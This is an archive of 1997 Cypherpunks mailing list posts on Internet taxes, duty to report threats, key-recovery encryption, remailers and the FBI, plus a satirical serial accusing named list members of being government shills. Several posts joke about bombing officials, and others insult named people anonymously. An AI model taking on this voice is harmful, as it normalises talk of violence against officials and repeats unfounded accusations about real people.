>Did you ask if it was a U-Haul requirement or a Texas one?
>
>If you've ever given your SSN when applying for a credit card,
>you can be pretty sure they've got your SSN in the credit report.
>Perhaps if you've got a secured debit card of some sort
>you've been able to keep it separate from your other credit history,
>if any, but most people have slipped at least once, or had an account
>at a bank that collected the SSN for tax reasons and then included it
>in credit reports.

Lindsay Haisley                   (______)
FMP Computer Services               (oo)        "The bull 
fmouse@fmp.com                /------\/            stops here!"
Austin, Texas, USA           / |    ||  
512-259-1190                *  ||---||             * * * * * *
                               ~~   ~~        http://www.fmp.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Thu, 11 Sep 1997 06:43:19 +0800
To: cypherpunks@toad.com
Subject: Re: Net Papa: Global Internet Taxes Inevitable
In-Reply-To: <v03110729b03b42f3681f@[139.167.130.247]>
Message-ID: <m0x8tpu-0003bFC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



>   GENEVA -- Internet taxes are inevitable, according to the man dubbed
>   the "Father of the Net."

Funny thing to claim, given that the European Commission of all has
already rejected Internet taxes half a year ago.

"To allow electronic commerce to develop, it is vital for tax systems
to provide legal certainty (so that tax obligations are clear,
transparent and predictable), and tax neutrality (so there is no extra
burden on these new activities as compared to more traditional
commerce). Electronic trade in goods and services clearly falls within
the scope of VAT, in the same way as more traditional forms of trade
do. There is therefore no need to intoduce new, alternative taxes,
such as a bit tax within the EU."
  -- http://europa.eu.int/en/comm/dgiii/press/970416ae.htm

>   ..."If something is becoming an infrastructure that is important for
>   people's daily lives, then governments will have the right to be
>   concerned about the public's safety and well-being," Cerf said. "When
>   you build roads, you make rules about how people are to behave on
>   these roads, in order to protect people." TW

Sure. Why are there no airbags in those datagrams, yet?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Thu, 11 Sep 1997 12:12:26 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Shrinks as Narcs for the State
In-Reply-To: <v03102809b02c194fc6a4@[207.167.93.63]>
Message-ID: <199709110406.XAA00536@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



(sorry, running behind on mail)

> (Many think this is as it should be. But why is this so? We don't require
> non-doctors and non-shrinks to report such threats. If Joe Cypherpunk tells
> me at a Cypherpunks meeting he thinks Janet Reno should be blown up on her
> September 7th visit to San Jose, I am under no obligation whatsoever to
> assist the police in verifying what his real intentions are, or of
> cooperating in any way. So why should a psychiatrist become a secret agent
> for the State? We live in a police state.)

	Actually, if you think the person _will_ do it, I believe you
are legally obligated to report. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 11 Sep 1997 14:19:22 +0800
To: "snow" <snow@smoke.suba.com>
Subject: Re: Shrinks as Narcs for the State
In-Reply-To: <v03102809b02c194fc6a4@[207.167.93.63]>
Message-ID: <v03102803b03d3a282807@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:06 PM -0700 9/10/97, snow wrote:
>(sorry, running behind on mail)
>
>> (Many think this is as it should be. But why is this so? We don't require
>> non-doctors and non-shrinks to report such threats. If Joe Cypherpunk tells
>> me at a Cypherpunks meeting he thinks Janet Reno should be blown up on her
>> September 7th visit to San Jose, I am under no obligation whatsoever to
>> assist the police in verifying what his real intentions are, or of
>> cooperating in any way. So why should a psychiatrist become a secret agent
>> for the State? We live in a police state.)
>
>	Actually, if you think the person _will_ do it, I believe you
>are legally obligated to report.

Care to cite a law, or even venture a guess as to which law might cover this?

Unless one is a party to the crime, as in "aiding and abetting," there is
no such requirement. Tarasoff applied a reporting requirement to shrinks
that ordinary persons did not have to worry about.

The "shooting Reno" example is really no different (*) from other crimes,
e.g., seeing bootleg videotaping in one's neighbor's garage, learning of a
bank robbery to be committed, etc. No laws require citizens to inform the
police.

(* The potential exception involves things like "depraved indifference," a
vague notion that if one does nothing while someone dies....)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Thu, 11 Sep 1997 12:26:35 +0800
To: kent@songbird.com (Kent Crispin)
Subject: Re: Socio-Economic Cults (Re: Cypherpunk Cults)
In-Reply-To: <19970829013540.13855@bywater.songbird.com>
Message-ID: <199709110414.XAA00563@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> On Thu, Aug 28, 1997 at 06:17:09PM -0500, snow wrote:
> [...]
> > 	There is also a clear difference between shooting a guy carrying 
> > your stereo out of the house, and a guy who probably carried a stereo out 
> > of the house. 
> Anyone can construct scenarios where the distinction is as fuzzy as
> you please -- eg -- your best friend is getting you a new stereo for
> your birthday, and is arranging a surprise. 

	Yeah, and most people are pretty good at figuring these things out.
If you saw your best friend carrying your stereo out of your house, you'd
wonder why, but you wouldn't shoot him. 

> Ambiguous situations are a ubiquitous feature of reality.  You may 
> think in black in white, but the world is not only many shades of 
> gray -- it's a parade of color.

	Nope. Black and white. White is _all_ colors. Black is none. Any
grey you see is a failure of resolution. 

> The fundamental problem is that people are different, and have

s/different/stupid/g.

> different moral values.  Some people think that murder is wrong under

	Anyone who could think clearly would say that _murder_ is wrong. 

	Distingushing murder from killing is the problem. 

> any circumstances.  Others think it is all right to kill in
> "self-defense" (whatever that means).  Some people think it is

	It means you wack the other fucker before he wacks you. It means 
you prevent damage to yourself, people you care about, and the shit that 
belongs to you and them. 

> > 	Well, the current system stinks, but enough people are buffalo'd into
> > thinking that it works, so it is doubtful that it will get better.
> People are not "buffalo'd" -- they are happy with a system that gives 
> them a good life.  Therefore, it has to get worse before it gets 
> better.  

	Crap. If anyone is happy with this system, they are either on the
top, or not paying attention. 

> > If on the 
> > otherhand the system ceased to exist, maybe it could be improved.
> Ah yes -- libertopia.

	We're fucked as it is. It wouldn't be much worse. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 11 Sep 1997 12:42:23 +0800
To: cypherpunks@toad.com
Subject: RE: Nuclear Hedge Funds
In-Reply-To: <3.0.2.32.19970910193916.007048ac@netcom10.netcom.com>
Message-ID: <5mLuce16w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@netcom.com> writes:

>
> At 01:00 AM 9/10/97 -0400, Declan McCullagh wrote:
> >That's hardly comforting (not sure if it was meant to be). I work four or
> >so blocks from the White House and spend a good bit of time in the Capitol
> >and related buildings. My office is in the densepack lobbyist warren
> >territory on K Street.
>
> The obvious time for a unpacking a suitcase would be during a State of the
> Union address. I trust you watch those from home?

Where is the vice president usually during the state of the union address?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 11 Sep 1997 15:32:26 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Mondex
In-Reply-To: <199709110523.HAA03897@basement.replay.com>
Message-ID: <Pine.A41.3.95.970911003628.52406A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




I think Vulis needs each of us to send ten copies of this back to him.

On Thu, 11 Sep 1997, Anonymous wrote:

> Timmy May's IQ is lower than the belly of a pregnant snake.
> 
>      _  o
>     |<)_/# Timmy May
>     TT  <T
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 11 Sep 1997 14:31:36 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Radioactive RNG & tracking systems...
Message-ID: <199709110550.AAA14480@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

A friend of mine has been working on a radioactive RNG and while playing
with it a potentialy interesting application came to mind. In short, by
placing radioactive RNG's in some sort of grid across an area it becomes
possible to track radioactive sources by comparing the magnitude of a
correlation function between them.

This could be extended to include just about any kind of RNG that is
sensitive to some environmental factor, say air pressure or magnetic
intensity...


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Thu, 11 Sep 1997 07:29:52 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Re: Renaming TEA remailer
In-Reply-To: <199709092302.AAA05230@notatla.demon.co.uk>
Message-ID: <199709102305.BAA21969@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> I am advised by Mark Hedges that Anonymizer, Inc. owns the trademark
> for the product name "Anonymizer" and at his request I have changed
> name of the tea remailer to 'Tea Remailer'.

  Generic terms can't be trademarked.

  Did they provide you with the UK or European trademark number? If not,
the claim likely is fraudulent.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Thu, 11 Sep 1997 15:26:11 +0800
To: cypherpunks@toad.com
Subject: InfoWar 4 (Part III of 'The True Story of the InterNet')
Message-ID: <3417988D.6FC9@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

The Rules of War 
The Rules of War (Part II)


The Rules of War


The wild-eyed, disheveled figure sat hunched over the keyboard
of his laptop, frantically seeking meaning in the words that lay
before him.

"Bubba."

Bubba furtively lowered the screen on his laptop, hiding his important
work from the prying eyes of  Priscilla.

Priscilla eyed Bubba oddly, before asking, "Do you want
me to bring you some dinner, or do you think it's time to take
a break?" She put her arms around him from behind and
gave him a peck on the neck. She was beginning to worry about
him.

"No, no. Just leave me to do my work." Bubba
snapped at her, which was totally out of character for him.

"OK, Bubba, I'll check on you later. Holler if you need
anything."
Priscilla walked away, more troubled than ever. She thought
it would be a good idea to have a talk with the Cowboy and see
if he had seen any signs that the mental and emotional energy
transfer from the Trei Transponder was having undue effect on
Bubba's psychological balance.

"No, no, of course not!" the Cowboy seemed irritated
by Priscilla's question.

Priscilla decided to leave the subject until later in the evening,
when the Cowboy had had time to relax from the long hours that
he had been putting in.
But the Cowboy continued...

"It is ridiculous to think that a mere modicum
of energy from a lunatic could have significant effect on the
psychology of highly developed, balanced individuals who have
spent a lifetime exercising rational and logical control
over their thoughts and emotions!"
The Cowboy was starting to wave his arms around, pacing as
he continued speaking in a loud, agitated voice. Priscilla was
now on the edge of terror.

"We have evidence..." the Cowboy shook a handful
of HydroCubes in her face, "evidence that the Dark
Allies have their shills positioned throughout the CypherPunks
list."

The Cowboy leaned close to whisper to Priscilla, as he noticed
Jonathan and Alexis approaching.
"People we never suspected before, but now we have proof."
the Cowboy couldn't help raising his voice in triumph.

"Proof of what, Cowboy?" Alexis was looking
at him with a puzzled expression on her face.  She instinctively
knew that something was going terribly,  terribly wrong with their
further experimentation with the Trei Transponder.

The Cowboy gave Alexis, then Jonathan, a blank stare for several
seconds, before seeming to remember who they were. Then his eyes
lit up and he rushed over to the GraphiScreen, throwing a HydroCube
up for everyone to see.
"Look at the lines!" the Cowboy said in a mysterious
whisper. 

There were hundreds of names, connected by multicolored lines
joining them together, in pairs and in various combinations.
"We didn't see it before, because we weren't using the
Crayola colors."
"The old colors!" the Cowboy whispered
to the stunned group in front of him, as he looked furtively over
his shoulders as if checking for unseen eyes looking back.

Jonathan, Alexis and Priscilla could only look on in stunned disbelief
as the Cowboy turned back to the GraphiScreen and began pointing
from line to line, outlining the basis for the great conspiracy
that was taking shape in his mind.

"Look, Iranians and Japanese, trolling for crypto information
on the CypherPunks mailing list and getting no response. Then..."
the Cowboy turned to them in wide-eyed triumph before turning
back to the GraphiScreen and pulling up a post by Nobuki Nakatuji.

"Hotmail.com." the Cowboy said, with great satisfaction,
 before noticing that his small audience was looking totally mystified.

"Don't you see?" the Cowboy said, growing
increasingly agitated. "Hotmail.com! The government supported
ISP which gave away free accounts so that they could monitor
everyone's email until they got mandatory Key Escrow legislation
passed in that era."
"And who answered him?" the Cowboy looked at the
three as if expecting an answer, and after receiving none from
the increasingly perplexed onlookers, began talking louder, as
if volume alone would make it all come clear to them.

"Igor! That's who!"
"Igor Chudov, the clever Russian who pretended to be the
voice of reason during the censorship crisis, downplaying the
suspicions and rants of the shit-disturbers on the mailing list.

"Then, when the tide turned against the fascist censors,
Igor joined in the outcry against them, and offered to host one
of the new,  distributed CypherPunks mailing lists. Then he slipped
quietly into the background, watching and listening as he worked
on his identity forgery autobot for the Dark Allies."


Alexis and Jonathan gave each other pleading glances, each hoping
that the other would think of something to say in order to break
the psychotic spell that the Cowboy was weaving in his own mind,
and which now was increasing affecting their own.
As the Cowboy looked furtively over his shoulder, once again,
they found themselves looking in the same direction, half-expecting
to see something.
Priscilla watched Alexis and Jonathan with increasing nervousness,
seeing what was taking place, but not having any idea what she
could do to stop this increasing madness, either.

"But Igor slipped up." the Cowboy pointed to
a thread of posts between the Russian and Japanese cryptographers.

"The foreign government troll, once his quest for information
was ignored, then became an instant expert in cryptography, promoting
Gao's Chaos Cryptosystem, and giving examples of source code,
in order to gain the trust of the CypherPunks. And Igor jumped
in to join the thread, hoping to draw some of the less experienced
list members into their sticky web.

Priscilla, seeing Jonathan and Alexis mesmerized by the Cowboy's
rhetoric, tried to interject a hint of reason into the situation.

"Cowboy, I don't think that really proves..."

The Cowboy cut her short, waving his arms once again.
"The proof...the proof is here!"
the Cowboy waved his hand dramatically over the recall control,
pulling up a copy of Kent Crispin's crypto contribution to the
thread.
"See? Do you see?"
"Kent Crispin known government shill, joining his
fellow conspirators in creating a diversion on the list by keeping
a thread going on crypto systems and source code. Drawing the
list member's attention away from the important issues."



"Uuhhh...Cowboy." Jonathan shook off the hypnotic
effect that the Cowboy was having on him. "The CypherPunks
mailing list is a cryptography discussion list."

"Exactly!" the Cowboy slapped Jonathan soundly
on the back, pleased that Jonathan was starting to perceive the
true depth of deviousness involved.
"That's why they can get away with it, you see?"

"Because it's a cryptography discussion list nobody
sees what they are doing! No one suspects that they are government
shills, trying to divert the list member's attention from the
important messages that our contact is sending to the list. You
know,......"
The Cowboy was trying to remember the name of their link with
the past. The man that they were in contact with through the Trei
Transponder. Why couldn't he think of it?

Priscilla was about to seize the opportunity to break into the
Cowboy's rambling soliloquy, when Bubba came bursting into the
room.

"C2Net!" he shouted. "C2Net!"

Bubba, too, paused, waiting for the small group to acknowledge
his wide ranging conclusion as to the main source of the diverse
plot involved in the Dark Allies omnipresence throughout the CypherPunks
list. Once, again...nothing.

"It all ties together." he quickly resumed his
startling revelation.

"Hettinga and Broiles. That was the key." The
Cowboy drew closer as Bubba inserted the HydroCube he had been
working with and booted it onto the GraphiScreen.
"Hettinga and Broiles, the C2Net tag-team from the censorship
crisis, attacking Tim May back to back, with Hettinga keeping
May engaged in long discussions on computers and computer history.

"Then Sameer, President of C2Net, stepping in to downplay
the importance of the Departments of Justice and Commerce being
able to make unconstitutional decisions about encryption exports,
without it being subject to judicial review."

"I was almost fooled myself," Bubba rambled on,
a wild smile forming on the edges of his lips as he described
the revelation he had received in reading the CypherPunks list
posts from the past, "but Dr. Vulis, ever vigilant, did
not let Sameer's presence go unnoticed. Once again, he exposed
him as the vile pawn of the Dark Forces working against freedom
and liberty through strong encryption."


Priscilla, seeing that Jonathan and Alexis had sat down and given
up any attempt to step into this boiling pot of lunacy, attempted
once again to provide a voice of reason.
"But didn't C2Net end-run government export restrictions
by developing strong crypto products off-shore? I thought Forbes
magazine even did an article on Sameer called "The Man Who
Wants To Overthrow the Government.
"You seem to be saying that those who succumb to government
pressure are spineless shills of the Dark Forces, and those who
appear to do well in resisting government pressure are evil pawns
in collusion with the Dark Forces."

"Exactly!" the Cowboy and Bubba cried
out in joyous unison, giving Priscilla a monstrous hug, happy
that she, too was now seeing the true depth of the evil plot once
again arising on the CypherPunks mailing list.
Priscilla shook her head in disbelief, and sat down beside Jonathan
and Alexis.

It was going to be a long, long night.


The Rules of War (Part II)


Bubba and the Cowboy sat up long after the others had retired
for the evening, comparing notes and adding more and more colored
lines linking the conspirators in the dark plot taking place on
the CypherPunks list.

"The Rules of War." Bubba said.

"What? Oh..." now the Cowboy remembered. That
was the title of the last chapter they had given to their link
to the past to...
"What's that guy's name, again, Bubba?"

"The one whose digital implant we linked to with the Trei
Transponder?" Bubba thought for a moment. "I
can't recall right now, for some reason, but we'll think of it."
Bubba assured his companion.

"We had him release that last chapter as "Rules of
War" but we forgot to lay out any guidelines for CypherPunks
and Circle of Eunuchs members who wanted to take part in the release
of Part III of 'The True Story of the InterNet.'" Cowboy
picked up where he had left off.
"Maybe it's for the best, anyway, since it has become
pretty clear that almost all members of the CypherPunks lists
are spooks or government shills of some type or another."



The Cowboy and Bubba were once again going over their list of
conspirators to see if they had left anyone out.

"Mark Hedges, running the Anonymizer server after he took
it over to allay suspicions of Sameer's monitoring of it for Gomez
and the Dark Allies. That also means that Justin Boyan is part
of the plot, since he wrote the software for it." Bubba
said, in review.

"And Lance Cottrell, running Infonex, which is connected
to C2Net and acting as apologist for the Anonymizer gang
using C2Net-style Gestapo tactics to enforce the Anonymizer trademark,
even among fellow CypherPunks." the Cowboy added.

"Yes!"  Bubba was getting increasingly excited.

"Lance Cottrell. The man largely responsible for the existence
of the mixmaster remailers." Bubba looked horrified.

"Cowboy! This means that the Dark Allies have their pawns
and shills in place in the heart of the CypherPunks technology-the
remailers."

The two of them sat stunned, as they read the quote in Cottrell's
signature file:

"Love is a snowmobile racing across the tundra.  Suddenly

it flips over, pinning you underneath.  At night the ice 
weasels come."

                        --Nietzsche

A bold reference to the Reptilian Nazis, living under the ice
caps of Antarctica, at the South Pole! This was a devastating
revelation.

"They are everywhere!" Bubba and
the Cowboy said, in unison.

Jonathan had been lying awake, listening to the two increasingly
crazed men for quite some time. Now he got up from his cot and
walked over to join them.
Jonathan reached for the bottle of Jack Daniel's and fortified
his mind for the battle that lay ahead of him. "If you
can't lick 'em, join 'em." he thought, as he knocked
back his second shot of the cool, stinging liquid.

"Bubba, Cowboy. I think we need to proceed extremely cautiously,
here."  The two looked at him, nodding, and waited for
him to continue.

Jonathan was glad that he had been sufficiently exposed to Bubba's
tangled trail of logic in the last few years, as he knew that
he was going to have to wing it...

"It's quite obvious," Jonathan said, as he let
himself sink into their shared state of deranged paranoia just
far enough to communicate at their level, but not so far as to
become submerged in it, "that the CypherPunks list members
are not aware of most of the others being pawns and shills of
Gomez and the Dark Allies, like they themselves are."

"Equally obvious," Jonathan realized the importance
of sounding certain of himself when dealing with people who had
descended beneath reason, into the quagmire of magical thinking,
"is the fact that we can proceed with our plan, exactly
as before, since they will all have to maintain their cover stories,
and act accordingly."

"Right." Bubba said, as he and the Cowboy fell
into line with Jonathan's reasoning.

This was going to be a piece of cake...

"So we're agreed, then." 
Jonathan wasn't happy with the final outcome of their deliberations,
but at least he had gotten the two men to agree to 'acting as
if' the CypherPunks were all who they appeared to be, and thus
proceeding in a deviously normal fashion.

"The only ones we can trust are our contact..."
Jonathan couldn't remember his name, either, and this troubled
him, "...we'll call him Arnold, for now...Alec McCrackin
and Tim C. May."

"And we're not sure about Tim May." Bubba quickly
interjected, to be safe.

"Of course, Bubba. But we decided that the terrible thing
he did to Arnold at the 'Home' was probably just to allay the
suspicions of the others that he really loves and respects Arnold
for his honesty in admitting that he is a bad liar and forger."

Jonathan could still hardly believe that he had managed to
sell that bottle of snake oil to these two, no matter how many
cards had fallen out of their decks in the last couple of days.

"So we'll keep an eye on him." the Cowboy agreed,
"Just in case..."


The problem, now, was what to do about trying to put some semblance
of order into the release of Part III of 'The True Story of the
InterNet.'

There had never been much structure in the writing and dissemination
of the manuscripts, from the very beginning, and now it would
be increasingly difficult to hold the process together, given
the haphazard disorganization of the CypherPunks becoming involved.

Some were sending ideas and possible themes to them through...Arnold.
Some were working on their own chapters and sending them to Arnold
for HTML formatting. Some were preparing to write and release
their own chapters in their own ways.

And now those who had started the ball rolling, from a century
in the future, were quickly becoming candidates to join Arnold
as roommates in the "Home for the TOO Happy."

And they had already used the "Rules of War" chapter
title twice, without addressing the issue. Things were falling
apart fast.

Perhaps it was better to turn this chore over to McCrackin. Yeah,
what the hell. If this all went to shit, there was no reason for
Arnold to go down alone...


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 11 Sep 1997 13:40:56 +0800
To: cypherpunks@toad.com
Subject: Mondex
Message-ID: <199709110523.HAA03897@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Timmy May's IQ is lower than the belly of a pregnant snake.

     _  o
    |<)_/# Timmy May
    TT  <T





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Arnold G. Reinhold" <reinhold@world.std.com>
Date: Thu, 11 Sep 1997 22:00:41 +0800
To: Hiawatha Bray <wathab@tiac.net>
Subject: Hiawatha Bray's column on key-recovery crypto
In-Reply-To: <v03110705b03cd2f252b6@[139.167.130.247]>
Message-ID: <v03110700b03da212fad1@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



Hiawatha Bray <wathab@tiac.net> of the Boston Globe wrote:
>
>I hate to tip folks off as to my column for tomorrow, but that's exactly
>what I'm doing in it.  I have written that if the Feds try to impose
>key-recovery crypto on me, I'll start using some encryption program that
>doesn't comply with the law, and I'll send copies of the messages to the
>Feds, so they can come and arrest me.  If I really thought they would, I
>wouldn't have written it!  But I'll stand by it.
>

Hiawatha, I enjoyed your column (Boston Globe Business Section Sept. 11),
but why don't you announce that you have a PGP key, print it's signature in
a column and ask people to use it to send you news tips? This would enable
a freedom of the press challange to GAK.

>Anyway, I don't presently encrypt my mail.  No reason to--I ain't no
>pedophile...;-)
>So if I want to send crypto I must find some partner in crime.  Any
>volunteers?

Count me in. My PGP key is available from my home page
http://world.std.com/~reinhold and the servers and its signature is printed
in E-mail for Dummies, 2nd Edition, page 232. People are invited to send me
ideas and tips via encrypted mail for future books.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hiawatha Bray <wathab@tiac.net>
Date: Thu, 11 Sep 1997 21:52:18 +0800
To: "'Arnold G. Reinhold'" <reinhold@world.std.com>
Subject: RE: Hiawatha Bray's column on key-recovery crypto
Message-ID: <01BCBE97.530050C0.wathab@tiac.net>
MIME-Version: 1.0
Content-Type: text/plain



What a cool idea!  Why didn't I think of that?  

Hiawatha

On Thursday, September 11, 1997 9:41 AM, Arnold G. Reinhold [SMTP:reinhold@world.std.com] wrote:

> 
> Hiawatha, I enjoyed your column (Boston Globe Business Section Sept. 11),
> but why don't you announce that you have a PGP key, print it's signature in
> a column and ask people to use it to send you news tips? This would enable
> a freedom of the press challange to GAK.
> 
> >Anyway, I don't presently encrypt my mail.  No reason to--I ain't no
> >pedophile...;-)
> >So if I want to send crypto I must find some partner in crime.  Any
> >volunteers?
> 
> Count me in. My PGP key is available from my home page
> http://world.std.com/~reinhold and the servers and its signature is printed
> in E-mail for Dummies, 2nd Edition, page 232. People are invited to send me
> ideas and tips via encrypted mail for future books.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 11 Sep 1997 22:05:38 +0800
To: cypherpunks@cyberpass.net
Subject: None
Message-ID: <be95a06559e4222a303d4c769fd84b03@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh writes:

>       The FBI will continue to stand behind Lon Horiuchi, an FBI
> sharpshooter charged last month by local authorities with involuntary
> manslaughter for the shooting death of Vicky Weaver, wife of white
> supremacist Randy Weaver, during a deadly standoff in Idaho, Freeh said.
>       "We fully support him," Freeh said. "It was a horrible tragedy. It
> was a mistake on his part, but we believe he was acting as he was trained
> to do. He was within the scope of his authority. ... He reasonably
> believed at the time that what he was doing was proper."

It's amazing that Freeh would admit that shooting an unarmed
woman holding an infant is what "he was trained to do" and was "within
the scope of his authority" and that he "reasonably believed [it] was
proper" to do so.  What are they teaching at FBI school nowadays?

Horiuchi's defense is really no different than Timothy
McVeigh's: "yes, it was a mistake but he felt it was justified and
reasonably believed at the time that what he was doing was proper..."
Too bad McVeigh didn't have a badge saying FBI on it.

        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 12 Sep 1997 00:08:21 +0800
To: cypherpunks@toad.com
Subject: Re: THE COSMOS THE UNIVERSE
In-Reply-To: <199709111458.QAA24982@basement.replay.com>
Message-ID: <199709111554.KAA09600@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

This was almost as much fun as Farikan's Number Theroy. ROTFLMAO!!! :)


In <199709111458.QAA24982@basement.replay.com>, on 09/11/97 
   at 04:58 PM, nobody@REPLAY.COM (Anonymous) said:

>The question is not: "Is this guy getting good Acid?"

>The question is: "Did he bring enough for *everybody*?"

>RBL@cosmos.com wrote:
>> 
>> E=MC  The equation for the atom bomb. It says that matter and energy are the
>> same thing. So then what is that? Matter, look at a brick. Its in a three dimensional
>> form. Its made of electrons,  protons and neutrons (atoms) and they are moving so
>> the brick is moving. Energy, sunlight. Its in a three dimensional form. It comes to us
>> from the sun therefore it is moving. 3D and moving Both matter and energy are 3D
>> and moving. I outproduce Einstein. We already know all matter has gravity. The
>> bending of light shows that energy has gravity also. So matter and energy are
>> 3D moving with gravity. The universe is made of matter, energy, time and space.
>> That just stated is the matter and energy part. Time and space. Take everything
>> in the universe and stop it. Does time progress? No. Therefore time is the motion
>> and the understanding of all the motion is the understanding of all of time.
>> Space, it ends. Space does not go on forever. Space is in a three dimensional
>> form. It moves but does not have gravity. Space moves like this.   O  /\  +  \/  O
>> And that is the understanding of all of time.
>>    O   This is what was first in the beginning.
>>    /\  This is the old kings and queens.
>>    +   This is democracy.
>>    \/  This is socialism.
>>    O   This is when the Lord Jesus Christ returns.
>> And that is the understanding of the universe.  Glory be to the Father the Son
>> and the Holy Ghost. Revelation chapter 10 & 11; 15-19. It is very important the
>> people receive this information. You may tell someone about this.
>>                                                  Thank You
>>                                                Robert Lavelle

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNBgGs49Co1n+aLhhAQH5LgP/TzSnAIqfGWso+ZwMJtd46sJenmAbaLjL
MwhiaMuU9S81kOEXo/tc48UxuCmeYdt5nblfE1HORadmEOoBFN+drRm06coucO34
66HVo8HA6OXDvi0vMH361kGlSSqF3dUwkV/ZvizNZGqjKkO9TVcN16ILRxQnydel
8ujtoYqIlIg=
=x44O
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 12 Sep 1997 02:36:00 +0800
To: Dave K-P <declan@well.com>
Subject: Re: Freeh says FBI doing great, supports Weaver killer
In-Reply-To: <Pine.GSO.3.95.970910162659.17580Z-100000@well.com>
Message-ID: <v03102801b03de556c3a6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:22 PM -0700 9/10/97, Dave K-P wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
